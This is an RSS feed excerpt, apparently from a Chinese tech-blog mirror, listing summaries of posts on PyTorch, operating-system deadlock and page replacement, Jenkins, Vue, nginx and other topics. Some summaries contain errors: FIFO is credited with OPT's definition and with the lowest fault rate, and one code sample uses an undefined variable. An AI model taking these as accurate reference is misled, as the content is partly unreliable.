      <description>在Pytorch中，默认情况下，所有设置requires_grad=True的张量都能跟踪它们的梯度计算历史并支持梯度计算。然而，在某些情况下，我们不需要这样做，例如，当我们已经训练了模型，只想将其应用于一些输入数据时，即我们只想通过网络进行前向计算。此时，这个禁用梯度跟踪操作就显得很重要，即冻结某个变量或模块的参数更新。下面介绍三种方式实现这个操作。&#xA;第一种方法：requires_grad_(False)冻结&#xA;import torch import torch.nn as nn class my_model(nn.Module): def __init__(self): super(my_model, self).__init__() self.l1 = nn.Linear(3,3).requires_grad_(False) self.l2 = nn.Linear(3,3) def forward(self, x): out = self.l1(x) +self.l2(x) return out model = my_model() y=torch.rand(6,3) optimizer = torch.optim.SGD(model.parameters(), lr=0.1, momentum=0.9) for i in range(2): data = torch.randn(6,3) out = model(x) loss=nn.functional.mse_loss(y,out) optimizer.zero_grad() loss.backward() optimizer.step() print(list(model.named_parameters())) print(loss) 通过上述结果，我们会发现l1层的参数，完成没有更新，从而达到冻结的作用。可以通过list(model.named_parameters())查看参数更新情况&#xA;其次，我们查看一下，被冻结的参数是否进入学习。&#xA;model.state_dict() 我们发现这个被冻结的参数在学习层中（model.state_dict()只保存参与学习的参数），因此这是最纯粹的冻结。&#xA;第二种方法：detach（）分离操作&#xA;import torch import torch.nn as nn class my_model(nn.Module): def __init__(self): super(my_model, self).</description>
    </item>
    <item>
      <title>huggingface如何加载本地数据集进行大模型训练</title>
      <link>https://bchobby.github.io/posts/0c6d2cb98de903cfd9705f9aad2be585/</link>
      <pubDate>Tue, 14 Nov 2023 09:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c6d2cb98de903cfd9705f9aad2be585/</guid>
      <description>背景： 一般情况下，我们使用huggingface都是从其网站上直接加载数据集进行训练，代码如下：&#xA;from datasets import load_dataset food = load_dataset(&#34;food101&#34;) 写了上面的代码，那么load_dataset函数就会自动从huggingface上面下载数据集到本地，然后缓存起来。&#xA;可对于我们自己的数据集该如何加载呢？尤其是图片数据集，对于模型来说，他需要的数据格式如下：&#xA;{&#39;image&#39;: &amp;lt;PIL.JpegImagePlugin.JpegImageFile image mode=RGB size=512x512 at 0x7F52AFC8AC50&amp;gt;, &#39;label&#39;: 79} 从上述代码可以看到，image是一个PIL格式的图片，而我们本地是一个图片文件，如何将本地的图片转换成PIL的图片呢？&#xA;下面我们就来讲一讲如何加载本地数据集。&#xA;数据集目录结构 dataset --image --1.jsp --2.jsp --…… --image.json --label.json 目录结构说明 1、image文件夹&#xA;存储所有的图片&#xA;2、image.json&#xA;存储map结构的json字符串，key是图片的名称，value是图片对应的标签分类&#xA;{ &#34;1.jpg&#34;: 0, &#34;2.jpg&#34;: 0, &#34;3.jpg&#34;: 1, &#34;4.jpg&#34;: 1, &#34;5.jpg&#34;: 4, &#34;6.jpg&#34;: 4, &#34;7.jpg&#34;: 2, &#34;8.jpg&#34;: 2, &#34;9.jpg&#34;: 3, &#34;10.jpg&#34;: 3 } 3、label.json&#xA;存储map结构的json字符串，key是标签的名称，value是标签的分类&#xA;{ &#34;apple&#34;: 0, &#34;pear&#34;: 1, &#34;strawberry&#34;: 2, &#34;peach&#34;: 3, &#34;chestnut&#34;: 4 } 代码 如何将上述的目录结构存储的数据转换成模型需要的格式呢？</description>
    </item>
    <item>
      <title>操作系统——死锁（一文详解死锁，死锁产生的原因和死锁的解决方案）</title>
      <link>https://bchobby.github.io/posts/b8755534c5143444cabd6d11dee5bdbb/</link>
      <pubDate>Tue, 14 Nov 2023 09:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8755534c5143444cabd6d11dee5bdbb/</guid>
      <description> 1、什么是死锁？死锁产生的条件？ 1.1、什么是死锁？ 答： 在两个或者多个并发进程中，如果每个进程持有某种资源而又等待其它进程释放它或它们现在保持着的资源，在未改变这种状态之前都不能向前推进，称这一组进程产生了死锁。通俗的讲就是两个或多个进程无限期的阻塞、相互等待的一种状态。&#xA;1.2、死锁产生的四个必要条件？ 互斥条件： 一个资源一次只能被一个进程使用；请求与保持条件：一个进程因请求资源而阻塞时，对已获得资源保持不放；不剥夺条件： 进程获得的资源，在未完全使用完之前，不能强行剥夺；循环等待条件： 若干进程之间形成一种头尾相接的环形等待资源关系。 1.3、如何处理死锁问题？ 忽略该问题：例如鸵鸟算法，该算法可以应用在极少发生死锁的的情况下。为什么叫鸵鸟算法呢，因为传说中鸵鸟看到危险就把头埋在地底下，可能鸵鸟觉得看不到危险也就没危险了吧。跟掩耳盗铃有点像；检测死锁并且恢复；仔细地对资源进行动态分配，以避免死锁；通过破除死锁四个必要条件之一，来防止死锁产生。 2、死锁的解决办法 预防死锁： 通过破坏死锁四个必要条件之一，来防止死锁产生；避免死锁： 在资源的动态分配过程中，用某种方法防止系统进入不安全状态，从而避免发生死锁；检测死锁： 允许进程在运行过程中发生死锁，但是可以通过检测机构及时检测出死锁，然后通过合适的措施，把进程从死锁过程中解脱出来；解除死锁： 当检测系统中已经发生死锁时，就采用相应措施，将进程从死锁状态中解脱出来。忽略死锁： 比如：鸵鸟算法，当系统发生死锁时不会对用户造成多大影响，或系统很少发生死锁的场合。 3、预防死锁 3.1、破坏“不抢占”条件 答：当某个进程请求新的资源得不到满足时，便立即释放保持的所有资源，待以后需要时再重新申请。&#xA;缺点是实现复杂，抢占资源可能导致部分工作失效，反复申请和释放导致系统开销很大，也可能导致饥饿。&#xA;3.2、破坏“请求和保持”条件 答：我们必须保证：当一个进程在请求资源时，它不能持有不可抢占的系统资源。在此，有两种协议可供选择：&#xA;第一种协议： 该协议规定，所有进程在开始运行之前，必须一次性地申请其在整个运行过程中所需的全部资源。此时若系统有足够的资源分配给某进程，便可把其需要的所有资源分配给它,这样，该进程在整个运行期间，便不会再提出资源要求，从而破坏了“请求”条件。系统在分配究源时，只要有一种资源不能满足进程的要求，即使其它所需的各资源都空闲也不分配给该进程；&#xA;第一种协议虽然简单易行且安全，但是它导致资源被严重浪费，严重的降低了资源的利用率；进程会经常发生饥饿现象。 因此比较推荐第二种协议。&#xA;第二种协议： 该协议是对第一种协议的改进，它允许一个进程只获得运行初期所需的资源后，便开始运行。进程运行过程中再逐步释放已分配给自己的、且已用毕的全部资源，然后再请求新的所需资源。&#xA;3.3、破坏“循环等待”条件 答：&#xA;具体做法： 首先给系统中的资源编号，规定每个进程必须按编号递增的顺序请求资源，同类资源(即编号相同的资源) 一次性申请完；原理： 一个进程只有已占有小编号的资源时，才有资格申请更大编号的资源。按此规则，已持有大编号资源的进程不可能逆向地回来申请小编号的资源，从而就不会产生循环等待的现象，进而预防死锁的发生。 缺点 不方便增加新的设备，因为可能需要重新分配所有的编号；进程实际使用资源的顺序可能和编号递增顺序不一致，会导致资源浪费;必须按规定次序申请资源，用户编程麻烦。 在这里，我们需要解释一下，为什么产生死锁的必要条件是4个，但是在预防死锁的时候，我们没有介绍怎么破坏互斥条件，理由如下：互斥条件是非共享设备所必备的，不仅不能改变，反而还应该加以保护。&#xA;4、避免死锁（银行家算法） 答：在避免死锁的方法中，把系统的状态分为两种：安全状态（是指系统能按某种顺序如&amp;lt;P1,P2,…,Pn&amp;gt;(称&amp;lt;P1,P2,…Pn&amp;gt;序列为安全序列)，来为每个进程分配其所需资源，直到最大需求，使每个进程都可顺序完成。）和不安全状态，当系统处于安全状态时，可以避免死锁的发生，反之，当系统处于不安全状态时，可能导致死锁的发生。&#xA;当有一个进程请求一个可用资源时，系统需要对该进程的请求进行计算，若将资源分配给进程后系统仍处于安全状态，才将资源分配给该进程。&#xA;5、死锁的检测与解除 答： 为了能对系统中是否已经发生了死锁进行检测，在系统中必须：&#xA;（1）保存有关资源的请求和分配信息；&#xA;（2）提供一种算法，它利用这些信息来检测系统是否进入死锁状态。&#xA;5.1、检测死锁的算法中 在资源分配图中，找出既不阻塞又非独立的进程结点Pi，在顺利的情况下，Pi可以得到所需的资源而继续运行，直至完成，然后释放它所占有的所有资源。这相当于消去它所有的请求边和分配边，使之称为孤立的结点。进程Pi所释放的资源，可以唤醒某些因等待这些资源而阻塞的进程，原来的阻塞进程可能变为非阻塞进程。然后重复上面的过程，消去请求边和分配边。若能消去图中所有的边，使得图中的进程结点变为孤立点，则称该图是可完全简化的，否则称该图是不可完全简化的。 有文献证明： 所有的简化顺序都将得到相同的不可简化图。&#xA;死锁定理表明： 如果某时刻系统的资源分配图是不可完全简化的，那么此时系统死锁&#xA;5.2、解除死锁 抢占资源： 从一个或者多个进程中抢占足够多数量的资源，分配给死锁进程，以解除死锁。终止进程法（包括终止所有死锁进程和逐个终止进程）： 终止系统中的一个或多个死锁进程，纸质打破循环环路，使系统从死锁状态中解脱出来。进程回退法。 </description>
    </item>
    <item>
      <title>操作系统——虚拟内存和页面置换算法（一文详解操作系统的虚拟内存和页面置换算法）</title>
      <link>https://bchobby.github.io/posts/24f792692b0582e50e3aa6035ac9ca39/</link>
      <pubDate>Tue, 14 Nov 2023 09:22:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24f792692b0582e50e3aa6035ac9ca39/</guid>
      <description>1、虚拟内存 答： 这个在我们平时使用电脑特别是 Windows 系统的时候太常见了。很多时候我们使用点开了很多占内存的软件，这些软件占用的内存可能已经远远超出了我们电脑本身具有的物理内存。为什么可以这样呢？ 正是因为虚拟内存的存在，通过虚拟内存可以让程序可以拥有超过系统物理内存大小的可用内存空间。另外，虚拟内存为每个进程提供了一个一致的、私有的地址空间，它让每个进程产生了一种自己在独享主存的错觉（每个进程拥有一片连续完整的内存空间）。这样会更加有效地管理内存并减少出错。&#xA;虚拟内存是计算机系统内存管理的一种技术，我们可以手动设置自己电脑的虚拟内存。不要单纯认为虚拟内存只是“使用硬盘空间来扩展内存“的技术。虚拟内存的重要意义是它定义了一个连续的虚拟地址空间，并且 把内存扩展到硬盘空间。&#xA;2、内存管理的目的 答： 最主要的就是提高内存的利用率，所谓的提高内存利用率，就是尽可能的在内存中多存储进程，这就涉及到为进程分配内存空间了。分配的方式主要是有两种——连续分配和离散分配。&#xA;3、局部性原理 答：局部性原理是虚拟内存技术的基础，正是因为程序运行具有局部性原理，才可以只装入部分程序到内存就开始运行。&#xA;局部性原理表现在以下两个方面： 时间局部性 ：如果程序中的某条指令一旦执行，不久以后该指令可能再次执行；如果某数据被访问过，不久以后该数据可能再次被访问。产生时间局部性的典型原因，是由于在程序中存在着大量的循环操作。空间局部性 ：一旦程序访问了某个存储单元，在不久之后，其附近的存储单元也将被访问，即程序在一段时间内所访问的地址，可能集中在一定的范围之内，这是因为指令通常是顺序存放、顺序执行的，数据也一般是以向量、数组、表等形式簇聚存储的。 4、虚拟存储器 答：基于局部性原理，在程序装入时，可以将程序的一部分装入内存，而将其他部分留在外存，就可以启动程序执行。由于外存往往比内存大很多，所以我们运行的软件的内存大小实际上是可以比计算机系统实际的内存大小大的。在程序执行过程中，当所访问的信息不在内存时，由操作系统将所需要的部分调入内存，然后继续执行程序。另一方面，操作系统将内存中暂时不使用的内容换到外存上，从而腾出空间存放将要调入内存的信息。这样，计算机好像为用户提供了一个比实际内存大的多的存储器——虚拟存储器。&#xA;我觉得虚拟内存同样是一种时间换空间的策略，你用 CPU 的计算时间，页的调入调出花费的时间，换来了一个虚拟的更大的空间来支持程序的运行。不得不感叹，程序世界几乎不是时间换空间就是空间换时间。&#xA;5、虚拟内存的技术实现 答：虚拟内存的实现需要建立在离散分配的内存管理方式的基础上。 虚拟内存的实现有以下三种方式：&#xA;请求分页存储管理：建立在分页管理之上，为了支持虚拟存储器功能而增加了请求调页功能和页面置换功能。请求分页是目前最常用的一种实现虚拟存储器的方法。请求分页存储管理系统中，在作业开始运行之前，仅装入当前要执行的部分段即可运行。假如在作业运行的过程中发现要访问的页面不在内存，则由处理器通知操作系统按照对应的页面置换算法将相应的页面调入到主存，同时操作系统也可以将暂时不用的页面置换到外存中。请求分段存储管理：建立在分段存储管理之上，增加了请求调段功能、分段置换功能。请求分段储存管理方式就如同请求分页储存管理方式一样，在作业开始运行之前，仅装入当前要执行的部分段即可运行；在执行过程中，可使用请求调入中断动态装入要访问但又不在内存的程序段；当内存空间已满，而又需要装入新的段时，根据置换功能适当调出某个段，以便腾出空间而装入新的段。请求段页式存储管理 请求分页与分页存储管理，两者有何不同呢？ 请求分页存储管理建立在分页管理之上。他们的根本区别是是否将程序全部所需的全部地址空间都装入主存，这也是请求分页存储管理可以提供虚拟内存的原因，我们在上面已经分析过了。它们之间的根本区别在于是否将一作业的全部地址空间同时装入主存。请求分页存储管理不要求将作业全部地址空间同时装入主存。基于这一点，请求分页存储管理可以提供虚存，而分页存储管理却不能提供虚存。 6、什么是页面置换算法 答：进程运行时，若其访问的页面不在内存而需将其调入，但内存已无空闲空间时，就需要从内存中调出一页程序或数据，送入磁盘的对换区，其中选择调出页面的算法就称为页面置换算法。&#xA;好的页面置换算法应有较低的页面更换频率，也就是说，应将以后不会再访问或者以后较长时间内不会再访问的页面先调出。&#xA;7、为什么要使用页面置换算法 答：当进程运行时，要访问的页面不在内存，则出现缺页中断，需要把该页面调入内存，如果内存中没有空闲物理块，则需要进行页面置换．页面置换算法依据一定策略，把物理块中的某个页面置换出去，送到磁盘交换区，在空出的一个物理块中装入导致缺页中断的页面。&#xA;8、最佳置换算法 答：FIFO算法是基于队列实现的，不是堆栈类算法，即未来永远不会再使用的页面 or 未来最长时间不再被访问的页面。该算法保证了可以获得最低缺页率，但无法预知未来页面的使用情况，因此目前无法实现，但通常用来评价其他算法。&#xA;优点：可保证最低缺页率。缺点 置换的页面可以是很久以前使用过但现已不再使用的初始化模块；所置换的页面可能包含一个被大量使用的变量，它早就初始化了，但仍在不断使用。对页面的访问时间无法预知，故该算法无法实现。 9、先进先出（FIFO）页面置换算法 答：该算法总是淘汰最先进入内存的页面，即选择在内存中驻留时间最久的页面予以淘汰。这种页面置换算法确保对于给定数量的帧会产生最低的可能的缺页错误率。&#xA;FIFO 和 OPT 算法的区别： 在于除了在时间上向后或向前看之外，FIFO算法使用的是页面调入内存的时间，OPT算法使用的是页面将来使用的时间。&#xA;优点： 实现简单缺点：往往与进程实际运行的规律不相符。有些页面，如存放全局变量、常用函数的页面，在整个进程的运行过程中将会被频繁访问。如果频繁将其换进换出，则会产生“抖动”现象，因此，这种算法在实际中应用很少。 10、最近最久未使用（LRU）算法 答：LRU 是堆栈类的算法，堆栈类算法不可能出现Belay异常。该算法以过去预测未来，选择之前最长时间未使用的页面置换。但是由于利用“过去”作为“未来”的近似这一做法并非完全可靠，因此有时会造成缺页率非常高，导致效率会非常低。&#xA;Belady现象的描述： 一个进程P要访问M个页，OS分配N(N&amp;lt;M)个内存页面给进程P；对一个访问序列S，发生缺页次数为PE(S,N)。当N增大(且N小于M)时，PE(S, N)时而增大，时而减小。FIFO是最早出现的页置换算法之一。Belady现象的原因是FIFO算法的置换特征与进程访问内存的动态特征是矛盾的，即被置换的页面并不是进程不会访问的，因而FIFO并不是一个好的置换算法。&#xA;优点： 由于考虑程序访问的时间局部性，一般能有较好的性能。实际应用多。缺点： 实现需要较多的硬件支持，会增加硬件成本。 11、Clock 置换算法 答：Clock置换算法是一种LRU的近似算法。由于LRU算法需要较多的硬件支持，采用Clock算法只需相对较少的硬件支持。Clock也称之为最近未用算法NRU。&#xA;优点： 可减少磁盘的I/O操作数缺点： 实现该算法本身的开销将有所增加 11.1、执行过程 答：只需为每页设置一位访问位，再将内存中的所有页面都通过链接指针链接成一个循环队列。当某页被访问时，其访问位被置1。在选择页面淘汰时，只需检查页的访问位，如果是0，就选择该页换出；若为1，则重新将它置为0，暂时不换出，而给该页第二次驻留内存的机会，再按照FIFO算法检查下一个页面。当检查到队列中的最后一个页面时，若其访问位仍为1，则再返回到队首去检查第一个页面。由于该算法是循环地检查各页面的使用情况，故称为Clock算法。&#xA;11.2、改进型Clock置换算法： 答：由访问位A和修改位M可以组合成下面四种类型的页面：&#xA;1类（A=0, M=0）： 表示该页最近既未被访问， 又未被修改， 是最佳淘汰页。2类（A=0, M=1）： 表示该页最近未被访问， 但已被修改， 并不是很好的淘汰页。3类（A=1, M=0）： 最近已被访问， 但未被修改， 该页有可能再被访问。4类（A=1, M=1）： 最近已被访问且被修改， 该页可能再被访问。 12、最少使用置换算法 答：为每个页面配置一个计数器，一旦某页被访问，则将其计数器的值加1，在需要选择一页置换时，则将选择其计数器值最小的页面，即内存中访问次数最少的页面进行淘汰。</description>
    </item>
    <item>
      <title>Jenkins Docker Swarm插件 配置的坑</title>
      <link>https://bchobby.github.io/posts/e2d6ee35703df6bdbc69c296578674f8/</link>
      <pubDate>Tue, 14 Nov 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2d6ee35703df6bdbc69c296578674f8/</guid>
      <description>配置 Docker Host URI&#xA;注意，这里要用 http://！！！如果按照提示里用了 tcp:// 则会报错，异常信息如下：&#xA;2023-11-13 16:28:42.683+0000 [id=34]&#x9;WARNING&#x9;o.e.j.s.h.ContextHandler$Context#log: Error while serving http://10.8.4.57:8080/manage/descriptorByName/org.jenkinsci.plugins.docker.swarm.DockerSwarmCloud/validateTestDockerApiConnection java.lang.NullPointerException at org.jenkinsci.plugins.docker.swarm.docker.api.request.ApiRequest.&amp;lt;init&amp;gt;(ApiRequest.java:71) at org.jenkinsci.plugins.docker.swarm.docker.api.ping.PingRequest.&amp;lt;init&amp;gt;(PingRequest.java:10) at org.jenkinsci.plugins.docker.swarm.DockerSwarmCloud$DescriptorImpl.doValidateTestDockerApiConnection(DockerSwarmCloud.java:139) at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(Unknown Source) at org.kohsuke.stapler.Function$MethodFunction.invoke(Function.java:397) 2023-11-13 16:44:26.516+0000 [id=275]&#x9;INFO&#x9;o.j.p.cloudstats.CloudStatistics#logTypeNotSupported: No support for cloud-stats plugin by class org.jenkinsci.plugins.docker.swarm.DockerSwarmComputer [ERROR] [11/13/2023 16:44:26.856] [swarm-plugin-akka.actor.default-dispatcher-111] [akka://swarm-plugin/user/agt-_by_dockerswarm-2] unexpected url: tcp://10.8.4.57:2375/services/create java.lang.IllegalArgumentException: unexpected url: tcp://10.8.4.57:2375/services/create at okhttp3.Request$Builder.url(Request.java:143) at org.jenkinsci.plugins.docker.swarm.docker.api.request.ApiRequest.toOkHttpRequest(ApiRequest.java:156) at org.jenkinsci.plugins.docker.swarm.docker.api.request.ApiRequest.execute(ApiRequest.java:162) at org.jenkinsci.plugins.docker.swarm.DockerSwarmAgentLauncherActor.createService(DockerSwarmAgentLauncherActor.java:79) at org.jenkinsci.plugins.docker.swarm.DockerSwarmAgentLauncherActor.lambda$createReceive$1(DockerSwarmAgentLauncherActor.java:50) at akka.japi.pf.UnitCaseStatement.apply(CaseStatements.scala:24) [ERROR] [11/13/2023 16:46:14.530] [swarm-plugin-akka.</description>
    </item>
    <item>
      <title>多态真的有用吗?使用在哪些场景?</title>
      <link>https://bchobby.github.io/posts/2cdab9cfed3080acd99aadc7d7b2b6aa/</link>
      <pubDate>Mon, 13 Nov 2023 19:15:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cdab9cfed3080acd99aadc7d7b2b6aa/</guid>
      <description>多态是面向对象编程（OOP）中的一个重要概念，它能够增加代码的灵活性和可维护性。多态的主要思想是同一个方法名在不同的类中有不同的实现，或者说同一个接口可以有多个不同的实现方式。让我们通过一个生动的例子来说明多态的用途。&#xA;假设有一个图形类，其中包括圆形和矩形两个子类。每个图形都有一个计算面积的方法，但是计算面积的方式在圆形和矩形之间是不同的。&#xA;class Shape { // 通用代码 } class Circle extends Shape { private $radius; public function __construct($radius) { $this-&amp;gt;radius = $radius; } public function calculateArea() { return pi() * $this-&amp;gt;radius * $this-&amp;gt;radius; } } class Rectangle extends Shape { private $width; private $height; public function __construct($width, $height) { $this-&amp;gt;width = $width; $this-&amp;gt;height = $height; } public function calculateArea() { return $this-&amp;gt;width * $this-&amp;gt;height; } } 现在，如果我们要计算一组图形的总面积，可以使用多态。我们可以定义一个通用的函数，该函数接受一个​​Shape​​对象数组，并计算它们的总面积。&#xA;function calculateTotalArea(array $shapes) { $totalArea = 0; foreach ($shapes as $shape) { $totalArea += $shape-&amp;gt;calculateArea(); } return $totalArea; } 现在我们可以创建圆形和矩形对象，将它们放入数组中，然后使用​​calculateTotalArea​​函数计算它们的总面积，而无需关心具体是哪种图形。</description>
    </item>
    <item>
      <title>Stable Diffusion最详细教程（总版）</title>
      <link>https://bchobby.github.io/posts/86b1a2d59eeed731a7458645bf077f44/</link>
      <pubDate>Mon, 13 Nov 2023 17:41:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86b1a2d59eeed731a7458645bf077f44/</guid>
      <description>Stable Diffusion教程 本文是我在B站学习SD时做的笔记，大家有时间的话可以去学习一下这个教程，讲的很详细，是一个比较系统的教学，UP：Nenly同学&#xA;stable diffusion的安装 stable diffusion 百宝书_shenmingik的博客-CSDN博客&#xA;一、提示词分类和书写方式 正向提示词和反向提示词&#xA;提示词要用英文书写，可以有道翻译&#xA;书写方式可以以词组的方式进行书写&#xA;词组之间需要间隔符号，就是使用英文逗号&#xA;1.提示词分类 内容提示词 人物及主体特征&#xA;场景特征&#xA;环境光照&#xA;画幅视角&#xA;服饰穿搭 white dress&#xA;室内、室外 indoor/outdoor&#xA;白天黑夜 day/night&#xA;距离 close-up,distant&#xA;发型发色 blonde hair,long hair&#xA;大场景 forest,city,street&#xA;特定时段 morning,sunset&#xA;人物比例 full body,upper body&#xA;五官特征 small eyes,big moutn&#xA;小细节 tree,bush,white flower&#xA;光环境sunlight,bright,dark&#xA;观察视角from above,view of back&#xA;面部表情 smiling&#xA;天空blue sky,starry sky&#xA;镜头类型 wide angle,Sony A7 Ⅲ&#xA;肢体动作 stretching arms&#xA;画质提示词 画质提示词&#xA;画风提示词&#xA;通用高画质</description>
    </item>
    <item>
      <title>vue项目路由使用history模式，nginx配置，刷新页面显示404</title>
      <link>https://bchobby.github.io/posts/f9a946d581780e0c3b1ba398d5476d72/</link>
      <pubDate>Mon, 13 Nov 2023 16:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9a946d581780e0c3b1ba398d5476d72/</guid>
      <description> 需要在配置项中添加&#xA;try_files $uri $uri/ /index.html; </description>
    </item>
    <item>
      <title>移动开发2：实现item点击的跳转功能</title>
      <link>https://bchobby.github.io/posts/05f998ebdc77f53f5a2e2db750ee9311/</link>
      <pubDate>Mon, 13 Nov 2023 15:47:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05f998ebdc77f53f5a2e2db750ee9311/</guid>
      <description>一.作业目标：&#xA;依托前面的设计，实现点击item能够显示出新的view&#xA;二.关键代码解析及技术说明：&#xA;1.创建一个新的activity：itemActiviy新建一个空的ItemActivity2和对应的activity_Item2.xml来实现新的界面布局&#xA;activity_item2设计如下：&#xA;activityi_item2对应的是点击item后显示的页面，接下来要设计ItemActivity2文件&#xA;public class ItemActivity2 extends AppCompatActivity { private TextView itemTextView; private Button backButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_item2); Intent intent = getIntent(); String itemData = intent.getStringExtra(&#34;itemData&#34;); itemTextView = findViewById(R.id.itemTextView); itemTextView.setText(itemData); backButton = findViewById(R.id.button8); backButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { finish(); } }); } } 在这段代码， super.onCreate(savedInstanceState) 执行父类的 onCreate 方法。&#xA;setContentView(R.layout.activity_item2) 方法：将与 ItemActivity2 相关联的布局文件加载到当前的 Activity 中。&#xA;getIntent 方法：获取传递过来的 Intent 对象，然后从 Intent 中提取名为 &#34;</description>
    </item>
    <item>
      <title>华视电子驱动安装</title>
      <link>https://bchobby.github.io/posts/74a2bdc6597aa62a8321d720855be9d2/</link>
      <pubDate>Mon, 13 Nov 2023 15:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a2bdc6597aa62a8321d720855be9d2/</guid>
      <description>1、安装驱动 下载地址：http://ws.it0355.com/a/202101/07/a27013.htm&#xA;双击exe文件安装驱动：&#xA;检查驱动运行正常：&#xA;http://www.winwin7.com/soft/xtbd-12727.html vc库安装</description>
    </item>
    <item>
      <title>【CPP】输入运算符和两个操作数，输出计算结果</title>
      <link>https://bchobby.github.io/posts/ed374cc0e23b09586c9c023c5c9a94e1/</link>
      <pubDate>Mon, 13 Nov 2023 15:40:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed374cc0e23b09586c9c023c5c9a94e1/</guid>
      <description>习题题目： 编写一个程序，输入运算符和两个操作数，输出计算结果。例如&#xA;+100 3.14&#xA;*4 5&#xA;将操作符读入到一个称为operation 的字符串，用一个if语句判断哪个操作是用户希望&#xA;的，例如if (operation==“+”)。 将操作数读入到double 类型的变量 量。实现+、-、*、/(很 明显，分别代表加、减、乘、除)几种运算。&#xA;问题分析： 1.需要指引用户输入①运算符②分别输入两个double类型数字。如果输入类型错误，需提示重新输入。&#xA;2.根据不同的输入符，进行两数的运算。&#xA;输入校验调用函数： double类型输入校验函数&#xA;double input_double() { double num = 0; cout &amp;lt;&amp;lt; &#34;请输入一个数&#34;; cin &amp;gt;&amp;gt; num; while (cin.fail() or cin.get() != &#39;\n&#39;) { cout &amp;lt;&amp;lt; &#34;请仅输入数字\n&#34;; cin.clear(); cin.ignore(1024, &#39;\n&#39;); cin &amp;gt;&amp;gt; num; } return num; } char类型输入校验函数&#xA;char input_char() { char ch; cout &amp;lt;&amp;lt; &#34;请输入一位字符：\n&#34;; ch = cin.get(); while (cin.get()!=&#39;\n&#39;) { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>【PyTorch教程】如何使用PyTorch分布式并行模块DistributedDataParallel(DDP)进行多卡训练</title>
      <link>https://bchobby.github.io/posts/25e0bbc1682fdf5aa0d567a6b8c7dd2a/</link>
      <pubDate>Mon, 13 Nov 2023 15:13:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25e0bbc1682fdf5aa0d567a6b8c7dd2a/</guid>
      <description>本期目录 1. 导入核心库2. 初始化分布式进程组3. 包装模型4. 分发输入数据5. 保存模型参数6. 运行分布式训练7. DDP完整训练代码 本章的重点是学习如何使用 PyTorch 中的 Distributed Data Parallel (DDP) 库进行高效的分布式并行训练。以提高模型的训练速度。 1. 导入核心库 DDP 多卡训练需要导入的库有：&#xA;库作用torch.multiprocessing as mp原生Python多进程库的封装器from torch.utils.data.distributed import DistributedSampler上节所说的DistributedSampler，划分不同的输入数据到GPUfrom torch.nn.parallel import DistributedDataParallel as DDP主角，核心，DDP 模块from torch.distributed import init_process_group, destroy_process_group两个函数，前一个初始化分布式进程组，后一个销毁分布式进程组 2. 初始化分布式进程组 Distributed Process Group 分布式进程组。它包含在所有 GPUs 上的所有的进程。因为 DDP 是基于多进程 (multi-process) 进行并行计算，每个 GPU 对应一个进程，所以必须先创建并定义进程组，以便进程之间可以互相发现并相互通信。&#xA;首先来写一个函数 ddp_setup() ：&#xA;import torch import os from torch.utils.data import Dataset, DataLoader # 以下是分布式DDP需要导入的核心库 import torch.multiprocessing as mp from torch.</description>
    </item>
    <item>
      <title>在vue3项目中使用el-upload实现文件上传</title>
      <link>https://bchobby.github.io/posts/f6695475484ef6ca37db69bc0dde08e5/</link>
      <pubDate>Mon, 13 Nov 2023 14:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6695475484ef6ca37db69bc0dde08e5/</guid>
      <description>在vue3项目中使用el-upload实现文件上传 template &amp;lt;el-dialog :title=&#34;upload.title&#34; v-model=&#34;upload.open&#34; width=&#34;400px&#34; append-to-body&amp;gt; &amp;lt;el-upload ref=&#34;uploadRef&#34; :limit=&#34;1&#34; accept=&#34;.xlsx, .xls&#34; :headers=&#34;upload.headers&#34; :action=&#34;upload.url + &#39;?updateSupport=&#39; + upload.updateSupport&#34; :disabled=&#34;upload.isUploading&#34; :on-progress=&#34;handleFileUploadProgress&#34; :on-success=&#34;handleFileSuccess&#34; :auto-upload=&#34;false&#34; drag&amp;gt; &amp;lt;el-icon class=&#34;el-icon--upload&#34;&amp;gt;&amp;lt;upload-filled /&amp;gt;&amp;lt;/el-icon&amp;gt; &amp;lt;div class=&#34;el-upload__text&#34;&amp;gt;将文件拖到此处，或&amp;lt;em&amp;gt;点击上传&amp;lt;/em&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;template #tip&amp;gt; &amp;lt;div class=&#34;el-upload__tip text-center&#34;&amp;gt; &amp;lt;div class=&#34;el-upload__tip&#34;&amp;gt;&amp;lt;el-checkbox v-model=&#34;upload.updateSupport&#34; /&amp;gt;是否更新已经存在的用户数据&amp;lt;/div&amp;gt; &amp;lt;span&amp;gt;仅允许导入xls、xlsx格式文件。&amp;lt;/span&amp;gt; &amp;lt;el-link type=&#34;primary&#34; :underline=&#34;false&#34; style=&#34;font-size: 12px; vert - List item ical-align: baseline&#34; @click=&#34;importTemplate&#34;&amp;gt;下载模板&amp;lt;/el-link&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;template #footer&amp;gt; &amp;lt;div class=&#34;dialog-footer&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;submitFileForm&#34;&amp;gt;确 定&amp;lt;/el-button&amp;gt; &amp;lt;el-button @click=&#34;upload.open = false&#34;&amp;gt;取 消&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-dialog&amp;gt; 相关属性说明</description>
    </item>
    <item>
      <title>linux grub2 不引导修复 grub2-install:error:/usr/lib/grub/x86_64-efi/modinfo.sh</title>
